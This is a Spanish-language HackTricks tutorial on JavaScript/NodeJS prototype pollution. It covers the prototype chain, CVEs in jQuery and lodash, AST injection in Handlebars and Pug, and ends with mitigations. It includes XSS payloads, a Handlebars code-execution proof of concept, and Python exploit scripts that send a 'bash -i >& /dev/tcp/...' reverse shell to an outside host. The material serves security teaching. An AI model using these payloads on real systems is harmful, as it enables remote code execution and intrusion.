NodeJS - __proto__ y contaminación del prototipo
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Objetos en JavaScript
Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto se puede crear utilizando Object.create
con null
como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin ninguna propiedad heredada.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Un objeto vacío es similar a un diccionario vacío, representado como {}
.
Funciones y Clases en JavaScript
En JavaScript, las clases y las funciones están estrechamente relacionadas, siendo las funciones a menudo constructores para las clases. A pesar de la falta de soporte nativo para clases en JavaScript, los constructores pueden emular el comportamiento de las clases.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototipos en JavaScript
JavaScript permite la modificación, adición o eliminación de atributos de prototipo en tiempo de ejecución. Esta flexibilidad permite la extensión dinámica de las funcionalidades de las clases.
Funciones como toString
y valueOf
pueden ser alteradas para cambiar su comportamiento, demostrando la naturaleza adaptable del sistema de prototipos de JavaScript.
Herencia
En la programación basada en prototipos, las propiedades/métodos son heredados por objetos de clases. Estas clases se crean añadiendo propiedades/métodos ya sea a una instancia de otra clase o a un objeto vacío.
Cabe señalar que cuando se añade una propiedad a un objeto que sirve como prototipo para otros objetos (como myPersonObj
), los objetos que heredan obtienen acceso a esta nueva propiedad. Sin embargo, esta propiedad no se muestra automáticamente a menos que se invoque explícitamente.
__proto__ contaminación
Explorando la Contaminación de Prototipos en JavaScript
Los objetos de JavaScript se definen por pares clave-valor y heredan del prototipo de objeto de JavaScript. Esto significa que alterar el prototipo de Object puede influir en todos los objetos en el entorno.
Utilicemos un ejemplo diferente para ilustrar:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
El acceso al prototipo de Object es posible a través de:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Al agregar propiedades al prototipo de Object, cada objeto de JavaScript heredará estas nuevas propiedades:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
contaminación del prototipo
Para un escenario donde el uso de __proto__
está restringido, modificar el prototipo de una función es una alternativa:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Esto afecta solo a los objetos creados a partir del constructor Vehicle
, dándoles las propiedades beep
, hasWheels
, honk
e isElectric
.
Dos métodos para afectar globalmente a los objetos de JavaScript a través de la contaminación del prototipo incluyen:
- Contaminar directamente el
Object.prototype
:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Contaminando el prototipo de un constructor para una estructura de uso común:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Después de estas operaciones, cada objeto de JavaScript puede ejecutar los métodos goodbye
y greet
.
Contaminando otros objetos
De una clase a Object.prototype
En un escenario donde puedes contaminar un objeto específico y necesitas llegar a Object.prototype
, puedes buscarlo con algo como el siguiente código:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Contaminación de elementos de matriz
Note que así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar una matriz, también puede contaminar valores de la matriz accesibles por índices (tenga en cuenta que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Contaminación de elementos Html
Al generar un elemento HTML a través de JS, es posible sobrescribir el atributo innerHTML
para hacer que escriba código HTML arbitrario. Idea y ejemplo de este artículo.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Ejemplos
Ejemplo Básico
Una contaminación de prototipo ocurre debido a un defecto en la aplicación que permite sobrescribir propiedades en Object.prototype
. Esto significa que, dado que la mayoría de los objetos derivan sus propiedades de Object.prototype
El ejemplo más fácil es agregar un valor a un atributo indefinido de un objeto que va a ser verificado, como:
if (user.admin) {
Si el atributo admin
está indefinido, es posible abusar de un PP y establecerlo en True con algo como:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
El mecanismo detrás de esto implica manipular propiedades de tal manera que, si un atacante tiene control sobre ciertas entradas, puede modificar el prototipo de todos los objetos en la aplicación. Esta manipulación generalmente implica establecer la propiedad __proto__
, que, en JavaScript, es sinónimo de modificar directamente el prototipo de un objeto.
Las condiciones bajo las cuales este ataque puede ejecutarse con éxito, como se detalla en un estudio específico, incluyen:
- Realizar una fusión recursiva.
- Definir propiedades basadas en una ruta.
- Clonar objetos.
Función de anulación
customer.__proto__.toString = ()=>{alert("polluted")}
Contaminación de Proto a RCE
Otros payloads:
Contaminación de prototipos del lado del cliente a XSS
Client Side Prototype Pollution
CVE-2019–11358: Ataque de contaminación de prototipos a través de jQuery $ .extend
Para más detalles, consulta este artículo En jQuery, la función $ .extend
puede llevar a la contaminación de prototipos si se utiliza incorrectamente la función de copia profunda. Esta función se usa comúnmente para clonar objetos o fusionar propiedades de un objeto por defecto. Sin embargo, cuando está mal configurada, las propiedades destinadas a un nuevo objeto pueden asignarse al prototipo en su lugar. Por ejemplo:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a riesgos de seguridad potenciales, como acceso no autorizado de administrador si propiedades como isAdmin
se verifican sin una verificación adecuada de existencia.
CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash
Para más detalles, consulta este artículo
Lodash encontró vulnerabilidades similares de contaminación de prototipos (CVE-2018–3721, CVE-2019–10744). Estos problemas se abordaron en la versión 4.17.11.
Otro tutorial con CVEs
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
Herramientas para detectar Contaminación de Prototipos
- Server-Side-Prototype-Pollution-Gadgets-Scanner: Extensión de Burp Suite diseñada para detectar y analizar vulnerabilidades de contaminación de prototipos del lado del servidor en aplicaciones web. Esta herramienta automatiza el proceso de escaneo de solicitudes para identificar posibles problemas de contaminación de prototipos. Explota gadgets conocidos - métodos de aprovechar la contaminación de prototipos para ejecutar acciones dañinas - enfocándose particularmente en bibliotecas de Node.js.
- server-side-prototype-pollution: Esta extensión identifica vulnerabilidades de contaminación de prototipos del lado del servidor. Utiliza técnicas descritas en la contaminación de prototipos del lado del servidor.
Contaminación de Prototipos AST en NodeJS
NodeJS utiliza extensivamente Árboles de Sintaxis Abstracta (AST) en JavaScript para funcionalidades como motores de plantillas y TypeScript. Esta sección explora las vulnerabilidades relacionadas con la contaminación de prototipos en motores de plantillas, específicamente Handlebars y Pug.
Análisis de Vulnerabilidad de Handlebars
El motor de plantillas Handlebars es susceptible a un ataque de contaminación de prototipos. Esta vulnerabilidad surge de funciones específicas dentro del archivo javascript-compiler.js
. La función appendContent
, por ejemplo, concatena pendingContent
si está presente, mientras que la función pushSource
restablece pendingContent
a undefined
después de agregar la fuente.
Proceso de Explotación
La explotación aprovecha el AST (Árbol de Sintaxis Abstracta) producido por Handlebars, siguiendo estos pasos:
- Manipulación del Analizador: Inicialmente, el analizador, a través del nodo
NumberLiteral
, impone que los valores sean numéricos. La contaminación de prototipos puede eludir esto, permitiendo la inserción de cadenas no numéricas. - Manejo por el Compilador: El compilador puede procesar un objeto AST o una plantilla de cadena. Si
input.type
es igual aProgram
, la entrada se trata como preanalizada, lo que puede ser explotado. - Inyección de Código: A través de la manipulación de
Object.prototype
, se puede inyectar código arbitrario en la función de plantilla, lo que puede llevar a la ejecución remota de código.
Un ejemplo que demuestra la explotación de la vulnerabilidad de Handlebars:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Este código muestra cómo un atacante podría inyectar código arbitrario en una plantilla de Handlebars.
Referencia Externa: Se encontró un problema relacionado con la contaminación del prototipo en la biblioteca 'flat', como se detalla aquí: Issue on GitHub.
Referencia Externa: Issue relacionado con la contaminación del prototipo en la biblioteca 'flat'
Ejemplo de explotación de contaminación del prototipo en Python:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Vulnerabilidad de Pug
Pug, otro motor de plantillas, enfrenta un riesgo similar de contaminación del prototipo. La información detallada está disponible en la discusión sobre AST Injection in Pug.
Ejemplo de contaminación del prototipo en Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Medidas Preventivas
Para reducir el riesgo de contaminación del prototipo, se pueden emplear las siguientes estrategias:
- Inmutabilidad de Objetos: El
Object.prototype
puede hacerse inmutable aplicandoObject.freeze
. - Validación de Entrada: Las entradas JSON deben ser rigurosamente validadas contra el esquema de la aplicación.
- Funciones de Fusión Seguras: Se debe evitar el uso inseguro de funciones de fusión recursivas.
- Objetos Sin Prototipo: Se pueden crear objetos sin propiedades de prototipo utilizando
Object.create(null)
. - Uso de Map: En lugar de
Object
, se debe usarMap
para almacenar pares clave-valor. - Actualizaciones de Bibliotecas: Se pueden incorporar parches de seguridad actualizando regularmente las bibliotecas.
- Herramientas de Linter y Análisis Estático: Utilizar herramientas como ESLint con los plugins apropiados para detectar y prevenir vulnerabilidades de contaminación del prototipo.
- Revisiones de Código: Implementar revisiones de código exhaustivas para identificar y remediar riesgos potenciales relacionados con la contaminación del prototipo.
- Capacitación en Seguridad: Educar a los desarrolladores sobre los riesgos de la contaminación del prototipo y las mejores prácticas para escribir código seguro.
- Uso Cauteloso de Bibliotecas: Tener precaución al usar bibliotecas de terceros. Evaluar su postura de seguridad y revisar su código, especialmente aquellas que manipulan objetos.
- Protección en Tiempo de Ejecución: Emplear mecanismos de protección en tiempo de ejecución, como el uso de paquetes npm enfocados en la seguridad que pueden detectar y prevenir ataques de contaminación del prototipo.
Referencias
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.